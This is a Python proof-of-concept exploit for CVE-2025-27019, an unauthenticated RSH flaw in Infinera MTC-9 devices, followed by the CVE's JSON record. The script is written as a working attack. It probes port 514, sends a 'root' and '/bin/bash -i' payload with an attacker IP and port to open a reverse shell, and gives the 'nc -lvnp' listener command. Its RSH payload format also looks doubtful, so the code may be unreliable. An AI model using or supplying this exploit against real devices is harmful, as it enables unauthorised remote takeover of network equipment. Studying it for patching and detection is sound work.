CVE-2025-27019

#!/usr/bin/env python3 # CVE-2025-27019 PoC - Infinera MTC-9 RSH Unauthenticated Access # This PoC demonstrates the vulnerability in RSH service import socket import sys import time def check_rsh_service(target_ip, target_port=514): """Check if RSH service is accessible""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, target_port)) sock.close() return result == 0 except Exception as e: print(f"[-] Connection error: {e}") return False def exploit_rsh(target_ip, attacker_ip, attacker_port): """ Exploit CVE-2025-27019 by triggering reverse shell Note: This is for educational/testing purposes only """ try: # RSH protocol typically uses port 514 # The exploit triggers reverse shell connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 514)) # RSH protocol format: user@remote_user command # For passwordless accounts, we can directly send commands payload = f"root\n{attacker_ip}\n{attacker_port}\n/bin/bash -i\n" sock.send(payload.encode()) print(f"[*] Sent reverse shell payload to {target_ip}") print(f"[*] Waiting for connection back to {attacker_ip}:{attacker_port}") print(f"[*] Set up listener: nc -lvnp {attacker_port}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-27019.py <target_ip> [attacker_ip] [attacker_port]") print("Example: python3 cve-2025-27019.py 192.168.1.100 192.168.1.200 4444") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.200" attacker_port = sys.argv[3] if len(sys.argv) > 3 else "4444" print(f"[*] Target: {target_ip}") print(f"[*] Attacker: {attacker_ip}:{attacker_port}") if check_rsh_service(target_ip): print("[+] RSH service is accessible") print("[*] Attempting exploitation...") exploit_rsh(target_ip, attacker_ip, int(attacker_port)) else: print("[-] RSH service not accessible or target not vulnerable") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-27019", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2025-12-08T10:16:01.270", "lastModified": "2025-12-22T18:55:45.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Remote shell service (RSH) in Infinera MTC-9 version R22.1.1.0275 allows\n an attacker to utilize password-less user accounts and obtain \nsystem access by activating a reverse shell.This issue affects MTC-9: from R22.1.1.0275 before R23.0."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.1.1.0275", "versionEndExcluding": "23.0", "matchCriteriaId": "2C084211-7CFB-4149-BC00-609E29A3EF60"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:*", "matchCriteriaId": "48C75FDC-0C46-4EC4-BCC9-EBAD117A84FD"}]}]}], "references": [{"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2025-27019", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "tags": ["Third Party Advisory"]}]}}